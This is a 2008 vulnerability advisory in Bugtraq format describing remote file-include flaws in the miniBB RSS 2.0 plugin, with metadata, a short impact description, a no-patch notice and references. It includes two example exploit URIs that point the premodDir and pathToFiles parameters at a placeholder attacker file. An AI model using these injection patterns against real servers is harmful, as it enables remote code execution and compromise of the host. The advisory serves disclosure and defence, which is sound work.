miniBB RSS Plugin Multiple Remote File Include Vulnerabilities

Bugtraq ID:	30421
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 29 2008 12:00AM
Updated:	Jul 29 2008 09:07PM
Credit:	Ghost Hacker
Vulnerable:	Paul Puzyrev RSS 2.0
Not Vulnerable:

miniBB RSS Plugin Multiple Remote File Include Vulnerabilities

The RSS plugin for miniBB is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues can allow an attacker to compromise the application and the underlying computer; other attacks are also possible.

miniBB RSS Plugin Multiple Remote File Include Vulnerabilities

An attacker can exploit these issues via a browser.

The following example URIs are available:

http://www.example.com/rss2.php?premodDir=[EVIL]
http://www.example.com/rss2.php?pathToFiles=[EVIL]

miniBB RSS Plugin Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

miniBB RSS Plugin Multiple Remote File Include Vulnerabilities

References:

• miniBB Homepage (miniBB)
  
• miniBB Plugins (MiniBB)
  
• plugin Rss Remote File Inclusion Vulnerability (Ghost hacker )